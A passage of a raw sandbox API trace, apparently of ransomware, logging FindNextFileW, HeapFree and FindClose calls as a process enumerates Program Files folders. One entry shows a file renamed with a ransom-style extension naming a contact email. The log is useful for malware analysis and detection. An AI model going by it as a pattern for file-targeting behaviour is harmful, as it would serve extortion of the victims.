HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41560b0 | out: hHeap=0x670000) returned 1 [0224.312] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9f8, dwReserved1=0xffffe411, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0224.692] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41660b8 | out: hHeap=0x670000) returned 1 [0224.692] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0224.692] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41560b0 | out: hHeap=0x670000) returned 1 [0224.692] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9f8, dwReserved1=0xffffe411, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0224.694] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41660b8 | out: hHeap=0x670000) returned 1 [0224.694] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 0 [0224.695] FindClose (in: hFindFile=0x6d0348 | out: hFindFile=0x6d0348) returned 1 [0224.695] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41560b0 | out: hHeap=0x670000) returned 1 [0224.695] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9f8, dwReserved1=0xffffe411, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0224.718] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41560b0 | out: hHeap=0x670000) returned 1 [0224.719] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9f8, dwReserved1=0xffffe411, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0224.720] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0224.720] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9f8, dwReserved1=0xffffe411, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0224.725] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0224.725] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9f8, dwReserved1=0xffffe411, cFileName="TextConv", cAlternateFileName="")) returned 1 [0224.726] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41560b0 | out: hHeap=0x670000) returned 1 [0224.726] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="en-US", cAlternateFileName="")) returned 0 [0224.726] FindClose (in: hFindFile=0x6d0348 | out: hFindFile=0x6d0348) returned 1 [0224.726] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0224.726] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9f8, dwReserved1=0xffffe411, cFileName="Triedit", cAlternateFileName="")) returned 1 [0224.727] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41560b0 | out: hHeap=0x670000) returned 1 [0224.727] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="en-US", cAlternateFileName="")) returned 0 [0224.727] FindClose (in: hFindFile=0x6d0008 | out: hFindFile=0x6d0008) returned 1 [0224.728] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0224.728] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9f8, dwReserved1=0xffffe411, cFileName="VC", cAlternateFileName="")) returned 1 [0224.731] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0224.731] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9f8, dwReserved1=0xffffe411, cFileName="VGX", cAlternateFileName="")) returned 1 [0224.731] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41660b8 | out: hHeap=0x670000) returned 1 [0224.731] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9f8, dwReserved1=0xffffe411, cFileName="VSTO", cAlternateFileName="")) returned 1 [0224.740] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x418a328 | out: hHeap=0x670000) returned 1 [0224.740] FindNextFileW (in: hFindFile=0x6cf908, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x1fd, dwReserved1=0xffffdc64, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0224.740] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0224.740] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x29080, dwReserved0=0xfffff9ed, dwReserved1=0x3e7, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0224.741] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41660b8 | out: hHeap=0x670000) returned 1 [0224.742] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9f8, dwReserved1=0xffffe411, cFileName="VSTO", cAlternateFileName="")) returned 0 [0224.742] FindClose (in: hFindFile=0x6d01c8 | out: hFindFile=0x6d01c8) returned 1 [0224.742] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41450a0 | out: hHeap=0x670000) returned 1 [0224.743] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0224.743] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41660b8 | out: hHeap=0x670000) returned 1 [0224.743] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0224.770] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0224.770] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0224.771] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0224.771] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x9f8, dwReserved1=0xffffe411, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0224.772] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0224.772] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9f8, dwReserved1=0xffffe411, cFileName="msadc", cAlternateFileName="")) returned 1 [0225.001] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41550a8 | out: hHeap=0x670000) returned 1 [0225.001] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0225.004] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0225.004] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9f8, dwReserved1=0xffffe411, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0225.012] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41550a8 | out: hHeap=0x670000) returned 1 [0225.012] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0225.013] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0225.013] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00, dwReserved0=0x9f8, dwReserved1=0xffffe411, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0225.013] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41660b8 | out: hHeap=0x670000) returned 1 [0225.015] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0225.015] FindClose (in: hFindFile=0x6d0408 | out: hFindFile=0x6d0408) returned 1 [0225.016] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135098 | out: hHeap=0x670000) returned 1 [0225.016] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xabad4148, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xabad4148, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xabad4148, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="desktop.ini.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="DESKTO~1.LOV")) returned 1 [0225.021] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135060 | out: hHeap=0x670000) returned 1 [0225.021] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4ec31b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a4ec31b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4ec31b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1 [0225.022] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135060 | out: hHeap=0x670000) returned 1 [0225.022] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0225.022] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135060 | out: hHeap=0x670000) returned 1 [0225.022] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe63d2d10, ftCreationTime.dwHighDateTime=0x1d5c395, ftLastAccessTime.dwLowDateTime=0x22f82ad0, ftLastAccessTime.dwHighDateTime=0x1d5b1d4, ftLastWriteTime.dwLowDateTime=0x22f82ad0, ftLastWriteTime.dwHighDateTime=0x1d5b1d4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="spcwin.exe", cAlternateFileName="")) returned 1 [0225.022] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41550a8 | out: hHeap=0x670000) returned 1 [0225.022] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xe7efeb5d, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe7efeb5d, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="Java", cAlternateFileName="")) returned 1 [0225.179] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0225.179] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1 [0225.182] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0225.182] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1 [0225.183] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0225.183] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1 [0225.183] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135060 | out: hHeap=0x670000) returned 1 [0225.183] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1 [0225.184] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0225.184] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1 [0225.184] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0225.184] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1 [0225.185] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0225.185] 